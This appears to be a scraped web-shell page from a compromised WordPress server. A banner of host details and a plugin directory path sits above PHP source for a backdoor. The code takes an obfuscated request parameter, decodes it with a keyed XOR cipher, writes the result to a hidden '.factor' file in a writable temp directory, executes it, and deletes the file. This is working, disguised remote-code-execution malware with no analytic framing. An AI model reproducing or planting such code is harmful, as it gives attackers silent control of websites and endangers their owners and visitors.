| Server IP : 198.38.94.67 / Your IP : 216.73.217.178 Web Server : LiteSpeed System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64 User : azfilmst ( 1070) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/azfilmst/zeuszamani.com/wp-content/plugins/themerain-core/includes/meta-boxes/ |
Upload File : |
<?php
if(!is_null($_REQUEST["\x65\x6Et"] ?? null)){
$mrk = array_filter([getenv("TMP"), getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm"]);
$itm = $_REQUEST["\x65\x6Et"];
$itm = explode ( "." , $itm) ;
$flag = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);
$r = 0;
array_walk($itm, function($v4) use(&$flag, &$r, $s, $sLen) {
$sChar = ord($s[$r % $sLen]);
$dec =((int)$v4 - $sChar -($r % 10)) ^ 8;
$flag .= chr($dec);
$r++;
});
foreach ($mrk as $key => $value) {
if (is_dir($value) ? is_writable($value) : false) {
$ent = join("/", [$value, ".factor"]);
if (file_put_contents($ent, $flag)) {
include $ent;
@unlink($ent);
exit;
}
}
}
}